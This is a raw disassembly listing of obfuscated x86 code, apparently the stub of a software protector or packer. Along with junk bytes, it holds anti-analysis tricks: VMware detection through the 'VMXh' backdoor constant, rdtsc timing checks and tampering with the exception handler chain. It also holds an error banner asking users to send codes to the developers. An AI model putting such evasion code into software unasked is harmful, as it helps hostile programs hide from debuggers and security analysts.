dd 7E005h, 60840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 930F4DC3h, 2F6E49C0h
dd 8B6F56BEh, 0E0858DFBh, 6A07E2FEh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F5ECC353h
dd 4DC18134h, 893C1DC3h, 0E0123585h, 0EE907h, 0BA660000h
dd 858D6143h, 7E2FEC2h, 7519BA66h, 0FEF58589h, 0BF6607E2h
dd 0BD83A8EEh, 7E00569h, 2B850F00h, 60000000h, 5E9h, 68B08200h
dd 0B58B82BAh, 7E00775h, 2DBD8B61h, 8307E016h, 0E30E7CBDh
dd 840F0007h, 11h, 2DE59D89h, 36E907E0h, 89000012h, 0E01595BDh
dd 4D2E907h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 0DF577CC3h, 7FEDFAADh, 899D4BC6h
dd 0E02AB9BDh, 0FC08B07h, 68Dh, 0ADBD8900h, 8307E016h
dd 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h, 8B535019h
dd 7D4B8C0h, 85890000h, 7E020F5h, 0BC629D8Dh, 0D3FF07E2h
dd 0BD83585Bh, 7E001C5h, 50177400h, 7D4B853h, 85890000h
dd 7E020F5h, 0B9519D8Dh, 0D3FF07E2h, 0E980585Bh, 8BC08B83h
dd 0E0340D95h, 3F6807h, 6A000Fh, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0E46CD9C3h, 8D2387CEh
dd 7E00475h, 39BA006Ah, 6A6B2087h, 0CD958B00h, 0FF07E011h
dd 0E0167595h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 0F51C916h, 68Ch, 0A59D2900h
dd 5907E014h, 850FC085h, 1, 798589F8h, 6A07E2FEh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
dd 0B689C356h, 2F3846ABh, 6E95D58h, 66000000h, 0FDBF7BF2h
dd 9E999h, 0ABC70000h, 15EEF1A1h, 6AFF46B8h, 0E1B52900h
dd 6A07E008h, 8B006A00h, 0E017C9BDh, 0E9006A07h, 0Ah, 0E7AA5693h
dd 7B7A9895h, 6AAF67h, 30BD8D2Bh, 830F07E0h, 6, 201DBD8Bh
dd 858D07E0h, 7E30057h, 18C98589h, 8D8B07E0h, 7E01C51h
dd 50006A50h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 81663A57h, 6A28A0C1h, 0B5958B01h, 8007E02Dh
dd 16A71D6h, 11E9h, 0EF120C00h, 0B0BB8E38h, 8B7524CBh
dd 41893242h, 16A950Ah, 0F166E981h, 8166180Fh, 6844EDCAh
dd 0F01FFh, 69D9529h, 0ED8007E0h, 69BD831Eh, 7E005h, 42840Fh
dd 858D0000h, 7E2FED6h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 17h, 26C35646h, 0E9F40DC7h, 9, 0E0126F03h
dd 3FCDCE0Ah, 1D9D89C1h, 0E907E020h, 0Fh, 0A746B966h, 0FEAC858Dh
dd 816607E2h, 508C14E1h, 1951BD89h, 565007E0h, 59CE8B66h
dd 0FE79B5FFh, 9D8907E2h, 7E020EDh, 0FE6595FFh, 0D28007E2h
dd 0FC08595h, 4D85h, 89F96000h, 0E022A58Dh, 0C8E96107h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 8FA4C350h, 5D590BB1h, 13E960C5h
dd 0
dd 0C6533CC0h, 1FCAEDC7h, 4E51AFB0h, 0CEF2EB7Bh, 8B666A45h
dd 858961FBh, 7E2FE7Dh, 7DB53160h, 0BE07E025h, 4576CA95h
dd 7DB5FF61h, 6A07E2FEh, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 1328C357h, 0E9244735h
dd 10h, 2246C578h, 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh
dd 267D95FFh, 0DE907E0h, 24000000h, 0DB41C830h, 0A7C8E699h
dd 32943FFAh, 0A95FEA81h, 0C08555BAh, 15850Fh, 10E90000h
dd 0D1000000h, 0F99D3DBCh, 12C3CB6Dh, 5EECA1ECh, 6A13B912h
dd 0D68B6610h, 569BD83h, 0F0007E0h, 4484h, 14E900h, 2A800000h
dd 434BDC92h, 2178F75Dh, 1FD1CC36h, 5AABCA31h, 858D05B8h
dd 7E2FED6h, 0FC60D18Ah, 0CE9h, 9CFAB200h, 43884308h, 4E5EB008h
dd 16E961EAh, 60000000h, 3E3CE281h, 8B614FE6h, 0AC858DF8h
dd 107E2FEh, 0E026658Dh, 0B70F5007h, 79B5FFFBh, 0F07E2FEh
dd 58Eh, 20E7B900h, 8D8B3EC9h, 7E01E2Dh, 0FE7195FFh, 8D0107E2h
dd 7E00579h, 850FC085h, 2Ah, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ch, 2AC35343h, 2215B84Ah, 53DEB198h
dd 1DBDBD8Bh, 858907E0h, 7E2FE7Dh, 13D18D03h, 6A07E0h
dd 2121BD8Bh, 6A07E0h, 13E8h, 0D7450D00h, 9649183Ch, 4D1CAEBFh
dd 0AC67E284h, 5E938D3Dh, 3415BD89h, 0FF5F07E0h, 0E2FE7DB5h
dd 6995FF07h, 6A07E2FEh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0B1AFC355h, 0C18D89ABh
dd 5207E02Fh, 3DBD8960h, 8B07E000h, 855961FAh, 9850FC0h
dd 89000000h, 0E0078595h, 0EEF58007h, 0FE7DB5FFh, 8B6607E2h
dd 7D95FFCFh, 6007E026h, 0D33C781h, 9D8909D8h, 7E00071h
dd 16E9B961h, 0C0853D04h, 22850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0F3367EC3h
dd 26D33D62h, 9503006Ah, 7E01805h, 8068h, 9D952900h, 6A07E014h
dd 0D958B03h, 6A07E01Ah, 2BB96600h, 0E9006AD2h, 0Dh, 23EF63D1h
dd 17C8B694h, 0BFA89A13h, 6880h, 8B66C000h, 0F5B5FFCEh
dd 0F07E2FEh, 18Fh, 95FFF800h, 7E02E49h, 0DBCDCA81h, 0F8836819h
dd 0D850FFFh, 89000006h, 0E0257DB5h, 6385FF07h, 6607E309h
dd 0BD83FB8Bh, 7E30963h, 0B1840F02h, 8B000004h, 0E0209595h
dd 3B858D07h, 0FF005B24h, 952953D0h, 7E008ADh, 8E858D59h
dd 81005B1Eh, 0A8FC26E7h, 0FD0FF12h, 68Eh, 39952900h, 8B07E013h
dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 0A5BB19D8h, 13E8EBh, 85890000h, 472AEFF4h
dd 0EDAF0D3h, 46B9BFD7h, 169385AEh, 4850FC3h, 66000000h
dd 5A1B3FBAh, 1FE5BD8Bh, 0BD8307E0h, 7E006B1h, 83097500h
dd 0E001C5BDh, 19740007h, 0C08B5350h, 7D8B8h, 0F5858900h
dd 8D07E020h, 0E2BC629Dh, 5BD3FF07h, 0C5BD8358h, 7E001h
dd 53501774h, 7D8B8h, 0F5858900h, 8D07E020h, 0E2B9519Dh
dd 5BD3FF07h, 0BE858h, 0FB940000h, 0BC477DBFh, 0EB8D055Bh
dd 88BF66DCh, 0F605F54h, 0BD31CBBFh, 7E02641h, 15BD8B61h
dd 8B07E030h, 68CB8BC0h, 0F003Fh, 0E8006AF8h, 9, 91B1D5D7h
dd 297AF661h, 7DCD80FCh, 89006A5Ah, 0E0315DB5h, 8E907h
dd 5810000h, 6AFF4A4Bh, 95FF8A6Eh, 7E01675h, 1E899509h
dd 0C08507E0h, 2A2DBD0Bh, 858907E0h, 7E2FE79h, 8AAEE981h
dd 0FF6806F7h, 0E9000F01h, 0Dh, 77ED2268h, 42253A3Bh, 72C7553Ch
dd 0A5BD89E3h, 8307E01Fh, 0E00569BDh, 840F0007h, 48h, 0C8D0Fh
dd 890F0000h, 6, 30159D89h, 72BF07E0h, 8D14B208h, 0E2FED685h
dd 0CDE68007h, 32E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1504h, 0C3554500h, 0BD3126AEh, 7E0231Dh
dd 0FEAC858Dh, 816607E2h, 6607E7F7h, 507A7FB9h, 0AE9h
dd 0D8B94900h, 25BB99E6h, 8BE90CB9h, 0E033358Dh, 79B5FF07h
dd 8907E2FEh, 0E0149D85h, 0E58D8907h, 0FF07E012h, 0E2FE7195h
dd 0ED850107h, 8907E01Fh, 0E2FE7D85h, 50006A07h, 3E8h
dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 0D5CE02F4h, 0D78166D2h, 85C78AA1h, 7E017B9h, 0
dd 42BF29BAh, 7DBD832Ch, 7E2FEh, 26B840Fh, 0E8560000h
dd 12h, 0C2FFB29Ah, 33EEA76Ch, 69E33EFh, 5B1DAE6Eh, 0F38A7BC4h
dd 8D0B5A5Fh, 7E022E9h, 15B858Dh, 6A07E3h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 8372A7C3h
dd 362662D2h, 9531302Bh, 7E01B35h, 57006A50h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1C04h, 0C3574700h, 0B797E517h
dd 0B52DFAEDh, 7EDE8083h, 1D419533h, 16A07E0h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 49C35141h, 14E877h
dd 0E8030000h, 65837B66h, 0DC909B1Ah, 0EAB2E741h, 0E9D4E3D2h
dd 958B50C8h, 7E03445h, 7DB5FF59h, 8907E2FEh, 0E02B35BDh
dd 7595FF07h, 2907E2FEh, 0E01D3D8Dh, 7DB5FF07h, 2907E2FEh
dd 0E03401B5h, 7D95FF07h, 6A07E026h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 15042444h, 40000000h, 8C98C350h
dd 0F01FF68h, 11E900h, 0BE010000h, 0DF994230h, 7D7271BFh
dd 5C69F25Ch, 8980163Eh, 0E019FD95h, 69BD8307h, 7E005h
dd 3F840Fh, 0E8600000h, 12h, 0D77C8B4Fh, 3D931AEDh, 1D4049DAh
dd 57545B4Dh, 0E7BA78E7h, 5957935Fh, 3161BD89h, 666107E0h
dd 858DCE8Bh, 7E2FED6h, 2FC1BD8Bh, 25E907E0h, 8B000000h
dd 0E00F3D95h, 0AC858D07h, 0E907E2FEh, 14h, 4CEF26CDh
dd 9081146Eh, 1E202082h, 4D0F8747h, 7C31D9C5h, 5E950h
dd 1B0000h, 0FF4651D7h, 0E2FE79B5h, 0C2E78107h, 0FF2645EBh
dd 0E2FE7195h, 0E58D2307h, 8B07E030h, 0E0195D8Dh, 7D858907h
dd 2B07E2FEh, 0E026DD95h, 7DB5FF07h, 6A07E2FEh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
dd 0D4D4C351h, 3F731728h, 0B1BD3397h, 0FF07E018h, 0E2FE6D95h
dd 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h
dd 0C3504000h, 0B7D9A354h, 0B5FF57EFh, 7E2FE7Dh, 8B00A5B9h
dd 7D95FF12h, 6A07E026h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 18042444h, 47000000h, 0AE78C357h, 575945C7h
dd 0FE9h, 0A0BD7F00h, 7D81ABE7h, 0D3E7569h, 50DF2465h
dd 518D8B5Fh, 0B607E006h, 0F633E9A9h, 0BD89FFFFh, 7E019CDh
dd 9C6B5FFh, 0BA6607E3h, 95FF0C86h, 7E02091h, 858B65B2h
dd 7E01C09h, 11D9BD8Bh, 0F48A07E0h, 608E9h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0CE1A36C7h, 453465DDh, 0F56F968h, 128Dh, 0CE800h, 0B2A30000h
dd 0D433AD8Eh, 0AE97D6F9h, 595F1584h, 26419529h, 0B58D07E0h
dd 7E3017Bh, 0AAE98166h, 3995015Bh, 8D07E030h, 0E2AE5885h
dd 0E58D8907h, 0FF07E01Ah, 50006AD0h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1804h, 0C3504000h, 0AA72EC15h
dd 55B5893Bh, 6A07E029h, 95FFF900h, 7E028FDh, 4598D8Bh
dd 0F38B07E0h, 11E9h, 0C75CA000h, 55A870D3h, 0A2DE9EFBh
dd 2F8365E2h, 858D90BDh, 7E2AE58h, 2F79BD8Bh, 0D0FF07E0h
dd 2921BD89h, 6A07E0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 15h, 4C35343h, 9589F8E8h, 7E016B5h, 28FD95FFh
dd 6A07E0h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
dd 55450000h, 53B127C3h, 0D7852A65h, 0BD8B637Ch, 7E0138Dh
dd 7AB9C08Bh, 8341BF6Fh, 0E006B1BDh, 9750007h, 1C5BD83h
dd 740007E0h, 8B535019h, 7D9B8C0h, 85890000h, 7E020F5h
dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h
dd 7D9B853h, 85890000h, 7E020F5h, 0B9519D8Dh, 0D3FF07E2h
dd 0BD89585Bh, 7E02E6Dh, 7AD9D89h, 0BA6607E0h, 0C08B2E0Ah
dd 0EE8h, 91CC7600h, 0DBC82AF6h, 5606D636h, 895A9487h
dd 0E0155595h, 0FC505A07h, 8D53D88Bh, 0E014DD9Dh, 89038B07h
dd 50438B03h, 8D504389h, 0E3095F9Dh, 89038B07h, 6A5B03h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
dd 880F8AC3h, 4, 8492BA66h, 12AEA3B9h, 0EA816674h, 6AA5A8h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0C6C35141h
dd 963FECB0h, 96839625h, 895FF550h, 0E028F985h, 5F858D07h
dd 6A07E309h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 6E92C355h, 0BD8B5042h, 7E03485h
dd 7D8D8B51h, 5907E015h, 6A606Ah, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 591D74C3h, 80AFF9EFh
dd 8B60096Ah, 0E025F58Dh, 0BBF6607h, 858D6197h, 7E014DDh
dd 0AE9h, 324FDE00h, 0D0E92C54h, 50497C45h, 79BD2B60h
dd 0E807E033h, 10h, 88DD8373h, 0F5C43DADh, 0F6DA48FCh
dd 73E6126Dh, 0DE8h, 1B6D0900h, 0A90852AFh, 0FBCFB43h
dd 5B598828h, 890F5661h, 3, 5AD1B70Fh, 0CE9006Ah, 84000000h
dd 0C6C249FCh, 2B52F8D0h, 0F2EA6FCh, 6AD7B7h, 68FE8B66h
dd 1800h, 4598531h, 0AE907E0h, 95000000h, 89187CBEh, 73BC9F0Fh
dd 10E95332h, 2C000000h, 5ABBA826h, 3CEB2D28h, 4EB3F12Ch
dd 0FFB21E25h, 0E01EB995h, 19D0107h, 0FF07E002h, 0E001B995h
dd 0DE907h, 4CF30000h, 1B05D1B2h, 91118387h, 0FF9C13C1h
dd 0E309C6B5h, 0BDC28007h, 209195FFh, 0F68007E0h, 0DD858DCBh
dd 6A07E014h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 8BFDC357h, 0E006BD95h, 18408B07h
dd 12E9h, 65CCAA00h, 0CBC9E4CDh, 90E1C10Fh, 0DFB64522h
dd 0C72072B2h, 0E020CD85h, 7, 0C9B70F00h, 569BD83h, 0F0007E0h
dd 3E84h, 0ACEE8000h, 8C3Dh, 8D830F00h, 6A000001h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
dd 0B025C356h, 0B1A710F5h, 0E9B589CBh, 0E907E01Dh, 14h
dd 3DCB8B66h, 98h, 152830Fh, 958B0000h, 7E004BDh, 243B858Dh
dd 8166005Bh, 0FCE6E9D7h, 0BD8BD0FFh, 7E01D61h, 68B0Fh
dd 958B0000h, 7E026A9h, 1E8E858Dh, 810F005Bh, 6, 18B9BD8Bh
dd 565607E0h, 0CE8h, 6F9B6700h, 420937FAh, 11CB6B38h, 595F5949h
dd 13E9D0FFh, 7A000000h, 0AEDBA021h, 77F1C840h, 0F670412Fh
dd 0BD21A1FBh, 0C08B9762h, 0CE9h, 7332FC00h, 0E02D2768h
dd 0D61BEE5Fh, 0B1BD8351h, 7E006h, 0BD830975h, 7E001C5h
dd 50197400h, 0B8C08B53h, 0BC6h, 20F58589h, 9D8D07E0h
dd 7E2BC62h, 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h
dd 0BC6h, 20F58589h, 9D8D07E0h, 7E2B951h, 585BD3FFh, 14E9h
dd 8F185200h, 0FB5D5FE5h, 73403FC6h, 41CCC676h, 64964CF7h
dd 31958B6Eh, 5107E000h, 59D6B70Fh, 0BD8BC08Bh, 7E01B81h
dd 0FFFF883h, 3385h, 0CD958B00h, 0C707E000h, 0E018D985h
dd 7, 0BDB1BF00h, 0EDBF39F8h, 0E92CFA3Dh, 0B3h, 2BCEB70Fh
dd 0E01B75BDh, 1FE907h, 0D7810000h, 294C8EDDh, 0F01F883h
dd 1085h, 41BD8B00h, 0E907E013h, 0D1h, 0BFA7BF66h, 0F0C7E9F9h
dd 0BD8BFFFFh, 7E01BA1h, 0B589C08Bh, 7E02F59h, 6B1BD83h
dd 750007E0h, 0C5BD8309h, 7E001h, 53501974h, 0DDB8C08Bh
dd 89000007h, 0E020F585h, 629D8D07h, 0FF07E2BCh, 83585BD3h
dd 0E001C5BDh, 17740007h, 0DDB85350h, 89000007h, 0E020F585h
dd 519D8D07h, 0FF07E2B9h, 51585BD3h, 0E58D8B5Ah, 6607E018h
dd 8B0180B9h, 860FF5C0h, 8, 28B0Fh, 0F0B50000h, 24CE9h
dd 69853100h, 8D07E01Ah, 0E3076385h, 0CD958B07h, 8907E001h
dd 0E3095B85h, 91BD8907h, 0E907E02Ch, 79h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 55C35545h, 0D56CD88Fh
dd 0C2182F78h, 0E680D4BAh, 6B858D17h, 5307E305h, 820Fh
dd 40590000h, 0B019F281h, 858976C7h, 7E3095Bh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0D8C35141h, 3CE61594h
dd 4ED25719h, 2860FB6h, 0B1000000h, 0C781669Dh, 0B70F10D6h
dd 8D346ACBh, 0E021E985h, 0B5FF5007h, 7E3095Bh, 95FF006Ah
dd 7E02F71h, 0F07F883h, 16884h, 0DB8C6600h, 0F04C3F6h
dd 10285h, 5985C600h, 5607E007h, 0A8B85268h, 1B5FF9Ch
dd 8D07E02Fh, 0E039F885h, 6AD0FF07h, 10006804h, 646A0000h
dd 0D0FF006Ah, 9CE8589h, 85C607E3h, 7E00759h, 0AC9B6847h
dd 0B5FFEC18h, 7E02F01h, 39F8858Dh, 0D0FF07E0h, 0F08BD0FFh
dd 75985C6h, 684F07E0h, 0C62F2661h, 1B71B5FFh, 858D07E0h
dd 7E039F8h, 9D8DD0FFh, 7E309CAh, 56286A53h, 0C085D0FFh
dd 85C60075h, 7E00759h, 64986841h, 0B5FFDB87h, 7E01B71h
dd 39F8858Dh, 0D0FF07E0h, 9E78589h, 85C607E3h, 7E00759h
dd 0E7A4684Ch, 0B5FF80A4h, 7E01B71h, 39F8858Dh, 0D0FF07E0h
dd 9CE9D8Bh, 5B8D07E3h, 9D8D5304h, 7E309D3h, 0FF006A53h
dd 0CE9D8BD0h, 0C707E309h, 103h, 0C43C700h, 2, 33699D8Bh
dd 85C707E0h, 7E02E01h, 0
aJjj:
unicode 0, <jjj>
aLaUSj db '‹Î',9,'ã',7,'Sj',0
db 0FFh
dd 0E309CAB5h, 0E795FF07h, 0C607E309h, 0E0075985h, 97684507h
dd 0FF92A5F7h, 0E03085B5h, 0F8858D07h, 0FF07E039h, 6A006AD0h
dd 66D0FF02h, 0C3F6DB8Ch, 8B327504h, 0E309CE9Dh, 0C43C707h
dd 0
dd 6A006Ah, 9CE9D8Bh, 6A5307E3h, 0CAB5FF00h, 0FF07E309h
dd 0E309E795h, 0CAB5FF07h, 0FF07E309h, 0E001B995h, 0FF006A07h
dd 0E028FD95h, 0A1952907h, 8B07E02Ch, 0E00689BDh, 95316007h
dd 7E0186Dh, 6840Fh, 9D2B0000h, 7E01819h, 6A858D61h, 0BA07E33Eh
dd 7ABD224Ch, 11E96050h, 0DA000000h, 0D2249282h, 0EE0366Dh
dd 9AE8273Dh, 9D016D7Fh, 0FF6461F5h, 35h, 0F1B58900h, 6407E033h
dd 2589h, 83FC0000h, 0E02FF5BDh, 840F0007h, 75h, 59952360h
dd 5307E032h, 5A93E880h, 850B6061h, 7E01019h, 14D5BD89h
dd 836107E0h, 0E016B1BDh, 850F0107h, 4Dh, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 14h, 5BC35646h, 0EAED4FBAh
dd 658D8B5Dh, 8007E025h, 0E30DE7BDh, 850F0007h, 19h, 2D558D8Bh
dd 89E907E0h, 60000001h, 11CDBD89h, 858907E0h, 7E008CDh
dd 29DB3361h, 0E01D1DB5h, 0E8C03307h, 5, 276A3E48h, 405AF91Fh
dd 0B073F0Fh, 58F64h, 83000000h, 8D8B04C4h, 7E0162Dh, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A4C35646h, 0A28F113h
dd 2A8D9D89h, 0FB8307E0h, 0C840FFFh, 0F8000000h, 111E9h
dd 0D5958900h, 0E907E01Ch, 84h, 0DE9h, 967E3400h, 8DA3E816h
dd 366E1EA9h, 4C8B6A63h, 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h
dd 33040000h, 5C8BC3C0h, 0E8550C24h, 0
aBamULg db ']íŒ>ã',7,'‹ƒ¸',0
align 4
dd 68858D00h, 8907E33Fh, 0B883h, 0C0335D00h, 53006AC3h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 534FC7C8h, 0BE9h, 23EE9700h, 0A77D5FC5h, 0A9C47159h
dd 0D2B70F5Ah, 3E82858Dh, 0F98B07E3h, 52006A50h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 5118B489h, 2671BD8Bh, 0BD8907E0h, 7E01915h, 35FF64h
dd 81000000h, 7286FED9h, 25896444h, 0
dd 0C800Fh, 7E90000h, 0EB000000h, 50B7D1Bh, 0AB917FDh
dd 0B8000000h, 4855D704h, 0F7816405h, 0D465BB0Dh, 40BA8685h
dd 810034B6h, 345FE8EAh, 0FB81ED00h, 564D5868h, 85C70A75h
dd 7E01115h, 1, 58F64h, 83000000h, 8D8B04C4h, 7E01691h
dd 0FC9B70Fh, 0C08BFABFh, 164DBD8Bh, 0BD8307E0h, 7E006B1h
dd 83097500h, 0E001C5BDh, 19740007h, 0C08B5350h, 43DB8h
dd 99858900h, 8D07E023h, 0E2BCC99Dh, 5BD3FF07h, 0C5BD8358h
dd 7E001h, 53501774h, 43DB8h, 99858900h, 8D07E023h, 0E2B96A9Dh
dd 5BD3FF07h, 58C0F58h, 66000000h, 0F65EE981h, 1AE28166h
dd 6EA2BAECh, 0E18127D5h, 6F5ABF2Bh, 47E9C08Bh, 4000001h
dd 31000000h, 3031392Eh, 7 dup(0)
dd 63784500h, 69747065h, 49206E6Fh, 726F666Eh, 6974616Dh
dd 50006E6Fh, 7361656Ch, 63202C65h, 61746E6Fh, 74207463h
dd 73206568h, 7774666Fh, 20657261h, 65766564h, 65706F6Ch
dd 77207372h, 20687469h, 20656874h, 6C6C6F66h, 6E69776Fh
dd 6F632067h, 2E736564h, 61685420h, 79206B6Eh, 0A2E756Fh
dd 200D0A0Dh, 20202020h, 28202020h, 73657270h, 54432073h
dd 432B4C52h, 206E6F20h, 73696874h, 6E697720h, 20776F64h
dd 63206F74h, 2079706Fh, 63206F74h, 6270696Ch, 6472616Fh
dd 20202029h, 0A0D0A20h, 7265560Dh, 6E6F6973h, 203D2020h
dd 0D0A7325h, 63656843h, 204E496Bh, 25203D20h, 430D0A64h
dd 6B636568h, 2054554Fh, 6425203Dh, 72500D0Ah, 4E49636Fh
dd 3D202020h, 0A642520h, 6F72500Dh, 54554F63h, 203D2020h
dd 0D0A6425h, 74697845h, 20204E49h, 25203D20h, 450D0A64h
dd 4F746978h, 20205455h, 6425203Dh, 50540D0Ah, 20206E69h
dd 3D202020h, 0A642520h, 0BD83000Dh, 7E01D85h, 2D840F00h
dd 8D000001h, 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h
dd 95FF8000h, 7E2B791h, 3FF3858Dh, 8D5007E3h, 0E33FFD85h
dd 6A5007h, 858D006Ah, 7E2B6FFh, 81B5FF50h, 0FF07E2B7h
dd 0E022FD95h, 0F3858D07h, 5007E33Fh, 4001858Dh, 6A5007E3h
dd 8D006A00h, 0E2B71185h, 0B5FF5007h, 7E2B781h, 22FD95FFh
dd 858D07E0h, 7E33FF3h, 0D858D50h, 5007E340h, 6A006Ah
dd 0B75E858Dh, 0FF5007E2h, 0E2B781B5h, 0FD95FF07h, 8D07E022h
dd 0E33FF385h, 858D5007h, 7E34015h, 6A006A50h, 7C858D00h
dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E022FDh, 3FF3858Dh
dd 8D5007E3h, 0E3401185h, 6A5007h, 858D006Ah, 7E2B765h
dd 81B5FF50h, 0FF07E2B7h, 0E022FD95h, 0F3858D07h, 5007E33Fh
dd 4005858Dh, 6A5007E3h, 8D006A00h, 0E2B76D85h, 0B5FF5007h
dd 7E2B781h, 22FD95FFh, 858D07E0h, 7E33FF3h, 9858D50h
dd 5007E340h, 6A006Ah, 0B774858Dh, 0FF5007E2h, 0E2B781B5h
dd 0FD95FF07h, 0FF07E022h, 0E2B781B5h, 4995FF07h, 0E907E029h
dd 0A2h, 1B15BD83h, 0F0007E0h, 9584h, 0B1BD8300h, 7E016h
dd 11850Fh, 958B0000h, 7E02A89h, 1CF8C281h, 0FE90000h
dd 8D000000h, 0E014DD95h, 34528B07h, 0C340C281h, 95893BD4h
dd 7E01E09h, 1E09BD83h, 0F0007E0h, 5584h, 99D8B00h, 8307E01Eh
dd 38B4CC3h, 3FFD8589h, 9D8B07E3h, 7E01E09h, 8B50C383h
dd 1858903h, 8B07E340h, 0E01E099Dh, 54C38307h, 8589038Bh
dd 7E3400Dh, 1E099D8Bh, 0C38307E0h, 89038B58h, 0E3401185h
dd 99D8B07h, 8307E01Eh, 38B5CC3h, 40058589h, 0BD8307E3h
dd 7E01D85h, 0D850F00h, 83000000h, 0E01B15BDh, 840F0007h
dd 68h, 4015B5FFh, 0B5FF07E3h, 7E34009h, 4005B5FFh, 0B5FF07E3h
dd 7E34011h, 400DB5FFh, 0B5FF07E3h, 7E34001h, 3FFDB5FFh
dd 858D07E3h, 7E33FF7h, 2F858D50h, 5007E340h, 215858Dh
dd 0FF5007E0h, 0E0188195h, 24C48307h, 858D406Ah, 7E34019h
dd 15858D50h, 5007E002h, 95FF006Ah, 7E02F71h, 95FF016Ah
dd 7E028FDh, 8160C18Bh, 57D7A8D9h, 0E1816640h, 0C08B5649h
dd 38F0Fh, 8B660000h, 0B1BD83D3h, 7E006h, 0BD830975h, 7E001C5h
dd 50197400h, 0B8C08B53h, 40Eh, 20F58589h, 9D8D07E0h, 7E2BC62h
dd 585BD3FFh, 1C5BD83h, 740007E0h, 0B8535017h, 40Eh, 20F58589h
dd 9D8D07E0h, 7E2B951h, 585BD3FFh, 0E3BE6653h, 6A5A20h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0F394CEC3h, 0FBFF6158h, 8B458A38h, 83DFB5C0h, 0E02FF5BDh
dd 840F0007h, 4Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Dh, 0F5C35646h, 9DFABD69h, 0C1470880h, 29CE9E9h
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 0EE2D5C3h, 9141DE2Fh, 0D48ADF8Ch, 0C7F766F9h
dd 850F0004h, 26Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Ah, 4EC35646h, 0FF59CD98h, 31B11AA3h, 13E9h
dd 0DE9D300h, 79FE43D6h, 0F0AF291Fh, 0FF191426h, 0FD5FD63h
dd 569BD83h, 0F0007E0h, 0D85h, 0BE6600h, 218E997h, 0B2570000h
dd 0FF2B5A2Dh, 8E9D8DF5h, 0F07E346h, 93F8F1BFh, 4810F60h
dd 66000000h, 0E91D8EBEh, 5, 2B1DBEC4h, 50506151h, 8E0F52h
dd 0F000000h, 0BE525031h, 76A163D0h, 5250310Fh, 585A310Fh
dd 585A585Ah, 64D38B93h, 35FFh, 0D68B0000h, 258964F5h
dd 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0DAC35141h
dd 44252CD0h, 8166C48Bh, 0CDEAD6D2h, 8000EB01h, 6AD9D5h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 17C12DC3h, 0E934E180h, 5, 886AC965h, 6438B560h, 58Fh
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 10DC31C3h, 26883064h, 0EE8160BCh, 773FD745h
dd 5FD68B57h, 1235BE61h, 0C4831CDAh, 55006A04h, 3E8h, 0C35D2000h
